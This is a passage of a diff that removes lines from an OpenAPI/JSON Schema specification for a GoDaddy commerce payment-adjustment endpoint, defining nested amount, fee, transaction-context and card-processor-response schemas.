- ], - "requestBody": { - "required": false, - "contentType": "application/json", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Adjustment Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents Adjustment transaction against a payment", - "properties": { - "newAmount": { - "description": "Adjusted transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - } - }, - "required": [ - "newAmount" - ] - } - }, - "responses": { - "201": { - "description": "Adjust payment completed successfully", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Adjustment Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": 